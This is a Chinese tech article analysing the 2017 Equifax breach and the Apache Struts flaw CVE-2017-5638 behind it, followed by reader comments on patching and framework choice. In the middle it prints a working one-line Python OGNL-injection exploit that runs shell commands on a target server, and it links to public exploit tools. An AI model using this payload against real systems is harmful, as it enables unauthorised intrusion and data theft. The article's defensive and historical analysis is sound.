Equifax信息泄露始末

2017-10-10 陈皓，郭蕾，杨爽

Equifax信息泄露始末

陈皓，郭蕾，杨爽

- 00:05 / 09:50

相信你一定有所耳闻，9月份美国知名征信公司Equifax出现了大规模数据泄露事件，致使1.43亿美国用户及大量的英国和加拿大用户受到影响。今天，我就来跟你聊聊Equifax信息泄露始末，并对造成本次事件的原因进行简单的分析。

Equifax信息泄露始末

Equifax日前确认，黑客利用了其系统中未修复的Apache Struts漏洞（CVE-2017-5638，2017年3月6日曝光）来发起攻击，导致了最近这次影响恶劣的大规模数据泄露事件。

作为美国三大信用报告公司中历史最悠久的一家，Equifax的主营业务是为客户提供美国、加拿大和其他多个国家的公民信用信息。保险公司就是其服务的主要客户之一，涉及生命、汽车、火灾、医疗保险等多个方面。

此外，Equifax还提供入职背景调查、保险理赔调查，以及针对企业的信用调查等服务。由于Equifax掌握了多个国家公民的信用档案，包括公民的学前、学校经历、婚姻、工作、健康、政治参与等大量隐私信息，所以这次的信息泄露，影响面积很大，而且性质特别恶劣。

受这次信息泄露影响的美国消费者有1.43亿左右，另估计约有4400万的英国客户和大量加拿大客户受到影响。事件导致Equifax市值瞬间蒸发掉逾30亿美元。

根据《华尔街日报》（The Wall Street Journal）的观察，自Equifax在9月8日披露黑客进入该公司部分系统以来，全美联邦法院接到的诉讼已经超过百起。针对此次事件，Equifax首席执行官理查德·史密斯（Richard Smith）表示，公司正在对整体安全操作进行全面彻底的审查。

事件发生之初，Equifax在声明中指出，黑客是利用了某个“U.S. website application”中的漏洞获取文件。后经调查，黑客是利用了Apache Struts的CVE-2017-5638漏洞。

戏剧性的是，该漏洞于今年3月份就已被披露，其危险系数定为最高分10分，Apache随后发布的Struts 2.3.32和2.5.10.1版本特针对此漏洞进行了修复。而Equifax在漏洞公布后的两个月内都没有升级Struts版本，导致5月份黑客利用这个漏洞进行攻击，泄露其敏感数据。

事实上，除了Apache的漏洞，黑客还使用了一些其他手段绕过WAF（Web应用程序防火墙）。有些管理面板居然位于Shodan搜索引擎上。更让人大跌眼镜的是，据研究人员分析，Equifax所谓的“管理面板”都没有采取任何安保措施。安全专家布莱恩·克雷布斯（Brian Krebs）在其博客中爆料，Equifax的一个管理面板使用的用户名和密码都是“admin”。

由于管理面板能被随意访问，获取数据库密码就轻而易举了——虽然管理面板会加密数据库密码之类的东西，但是密钥却和管理面板保存在了一起。虽然是如此重要的征信机构，但Equifax的安全意识之弱可见一斑。

据悉，Equifax某阿根廷员工门户也泄露了14000条记录，包括员工凭证和消费者投诉。本次事件发生后，好事者列举了Equifax系统中的一系列漏洞，包括一年以前向公司报告的未修补的跨站脚本（XSS）漏洞，更将Equifax推向了风口浪尖。

Apache Struts漏洞相关

Apache Struts是世界上最流行的Java Web服务器框架之一，它最初是Jakarta项目中的一个子项目，并在2004年3月成为Apache基金会的顶级项目。

Struts通过采用Java Servlet/JSP技术，实现了基于Java EE Web应用的MVC设计模式的应用框架，也是当时第一个采用MVC模式的Web项目开发框架。随着技术的发展和认知的提升，Struts的设计者意识到Struts的一些缺陷，于是有了重新设计的想法。

2006年，另外一个MVC框架WebWork的设计者与Struts团队一起开发了新一代的Struts框架，它整合了WebWork与Struts的优点，同时命名为“Struts 2”，原来的Struts框架改名为Struts 1。

因为两个框架都有强大的用户基础，所以Struts 2一发布就迅速流行开来。在2013年4月，Apache Struts项目团队发布正式通知，宣告Struts 1.x开发框架结束其使命，并表示接下来官方将不会继续提供支持。自此Apache Struts 1框架正式退出历史舞台。

同期，Struts社区表示他们将专注于推动Struts 2框架的发展。从这几年的版本发布情况来看，Struts 2的迭代速度确实不慢，仅仅在2017年就发布了9个版本，平均一个月一个。

但从安全角度来看，Struts 2可谓是漏洞百出，因为框架的功能基本已经健全，所以这些年Struts 2的更新和迭代基本也是围绕漏洞和Bug进行修复。仅从官方披露的安全公告中就可以看到，这些年就有53个漏洞预警，包括大家熟知的远程代码执行高危漏洞。

根据网络上一份未被确认的数据显示，中国的Struts应用分布在全球范围内排名第一，第二是美国，然后是日本，而中国没有打补丁的Struts的数量几乎是其它国家的总和。特别是在浙江、北京、广东、山东、四川等地，涉及教育、金融、互联网、通信等行业。

所以在今年7月，国家信息安全漏洞共享平台还发布过关于做好Apache Struts 2高危漏洞管理和应急工作的安全公告，大致意思是希望企业能够加强学习，提高安全认识，同时完善相关流程，协同自律。

而这次Equifax中招的漏洞编号是CVE-2017-5638，官方披露的信息见下图。简单来说，这是一个RCE的远程代码执行漏洞，最初是被安恒信息的Nike Zheng发现的，并于3月7日上报。

S2-045

Created by Lukasz Lenart, last modified by Rene Gielen on Mar 19, 2017

Summary

Possible Remote Code Execution when performing file upload based on Jakarta Multipart parser.

Who should read this	All Struts 2 developers and users
Impact of vulnerability	Possible RCE when performing file upload based on Jakarta Multipart parser
Maximum security rating	Critical
Recommendation	Upgrade to Struts 2.3.32 or Struts 2.5.10.1
Affected Software	Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10
Reporter	Nike Zheng <nike dot zheng at dbappsecurity dot com dot cn>
CVE Identifier	CVE-2017-5638

从介绍中可以看出，此次漏洞的原因是Apache Struts 2的Jakarta Multipart parser插件存在远程代码执行漏洞，攻击者可以在使用该插件上传文件时，修改HTTP请求头中的Content-Type值来触发漏洞，最后远程执行代码。

说白了，就是在Content-Type注入OGNL语言，进而执行命令。代码如下（一行Python命令就可以执行服务器上的shell命令）：

```
import requests
requests.get("https://target", headers={"Connection": "close", "Accept": "*/*", "User-Agent": "Mozilla/5.0", "Content-Type": "%{(#_='multipart/form-data').
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm)))).(#cmd='dir').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-
c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"})
```

在GitHub上有相关的代码，链接为：https://github.com/mazen160/struts-pwn 或 https://github.com/xsscx/cve-2017-5638

注入点是在JakartaMultiPartRequest.java的buildErrorMessage函数中，这个函数里的localizedTextUtil.findText会执行OGNL表达式，从而导致命令执行（注：可以参看Struts两个版本的补丁“2.5.10.1版补丁”“2.3.32版补丁”），使客户受到影响。

因为默认情况下Jakarta是启用的，所以该漏洞的影响范围甚广。当时官方给出的解决方案是尽快升级到不受影响的版本，看来Equifax的同学并没有注意到，或者也没有认识到它的严重性。

另外，在9月5日和7日，Struts官方又接连发布了几个严重级别的安全漏洞公告，分别是CVE-2017-9804、CVE-2017-9805、CVE-2017-9793和CVE-2017-12611。

这里面最容易被利用的当属CVE-2017-9805，它是由国外安全研究组织lgtm.com的安全研究人员发现的又一个远程代码执行漏洞。漏洞原因是Struts 2 REST插件使用带有XStream程序的XStream Handler 进行未经任何代码过滤的反序列化操作，所以在反序列化XML payloads时就可能导致远程代码执行。

Summary

Possible Remote Code Execution attack when using the Struts REST plugin with XStream handler to handle XML payloads

Who should read this	All Struts 2 developers and users
Impact of vulnerability	A RCE attack is possible when using the Struts REST plugin with XStream handler to deserialise XML requests
Maximum security rating	Critical
Recommendation	Upgrade to Struts 2.5.13 or Struts 2.3.34
Affected Software	Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12
Reporter	Man Yue Mo <mmo at semmle dot com> (lgtm.com / Semmle). More information on the lgtm.com blog: https://lgtm.com/blog
CVE Identifier	CVE-2017-9805

不过在Apache软件基金会的项目管理委员会的回应文章中，官方也对事故原因进行了分析和讨论。首先，依然不能确定泄露的源头是Struts的漏洞导致的。其次，如果确实是源于Struts的漏洞，那么原因"或是Equifax服务器未打补丁，使得一些更早期公布的漏洞被攻击者利用，或者是攻击者利用了一个目前尚未被发现的漏洞"。

根据推测，该声明提出黑客所使用的软件漏洞可能就是CVE-2017-9805漏洞，该漏洞虽然是在9月4日才由官方正式公布，但早在7月时就有人公布在网络上了，并且这个漏洞的存在已有9年。

相信通过今天的分享，你一定对Equifax的数据泄露始末及造成原因有了清楚的了解。欢迎您把你的收获和想法，分享给我。下篇文章中，我们将回顾一下互联网时代的!其他大规模数据泄露事件，并结合这些事件给出应对方案和技术手段。

廖雪峰

2017-10-26

struts的开发就是弱者，类似eval()的东西默认就敢开

李志博

2017-10-20

Struts 漏洞那么多，最好的办法就是赶快切换spring mvc

Panda

2018-04-25

换spring-boot��

AlphaGo

2017-10-17

哎，我的信息也在其中...

---

yunfeng

2018-06-01

#Equifax信息泄露始末笔记
1.使用开源的框架必须实时关注其动态，特别是安全漏洞方面
2.任何公开的入口，都必须进行严格的安全检查
3.框架的选型十分重要，必须将安全考察进去

月伴寒江

2018-06-14

struts漏洞实在太多，补都补不赢，之前的项目后来都换成了Spring MVC。对于一些安全意识不高的企业，确实没什么人关注这些。

渡鹤影

2018-06-13

今天网传12306信息也泄露了.....

---

iDev_周晶

2018-03-10

没想到 Struts2 现在还有那么大的份额

Dylan

2018-01-07

吸取教训了～安全意识不管是大公司或者像我现在自己创业的项目，对于安全总是想得很侥幸，但是一旦爆发出来可能就对公司产生致命影响了

Hesher

2018-04-26

Spring MVC 借机上位

missa

2018-03-13

安全意识，在开发，部署的过程中应该一直有。

yaoel

2017-10-22

有时项目因为赶进度，会决定先上线再加强安全问题！但经常就直接搁置了…虽然当时省了一些力，却可能（一定）在n年会付出惨痛的代价！所以安全问题不容忽视

Ethan

2018-07-07

选择开源框架要注意能够掌控，包括框架逻辑、性能、部署方式、安全漏洞。

二师哥

2018-06-14

安全无小事，
但是创业公司，更关注的项目落地和功能实现。这个就很难办？
作为大企业，安全意识这么差就不能理解了。
我想问下，创业公司，团队就几号人物，如何在安全上有所防范，是不是就应该先做功能开发，上线了再说！

风起

2018-06-11

作为一个新员工，终于明白公司为什么有一个团队专门坐开源组建扫描评级， 还有为啥有代码安全扫描。

Rain

2018-03-10

由于各种原因累积的技术债还的越晚危害越大

woody

2018-03-09

struts漏洞的确多，爆出漏洞的频率挺好的，每次都会造成挺大的影响。还是早日替换掉好。

Neil

2018-02-06

安全无小事，除了 Struts 的锅，Equifax 在安全上的意识也太薄弱了.....

陆文彬

2018-01-07

成也ognl，败也ognl

star_fx

2017-12-13

OGNL 表达式是永远的软肋，只要这个东西还在，那就永远是漏洞百出。从 Struts2 转 SpringMVC 已经很久了，主要原因就是 Struts2 安全性太差。

禾子先生

2017-11-14

不明觉厉，涨知识了

macworks

2017-10-22

这个事件只是听说，详情还真是不了解，继续拜读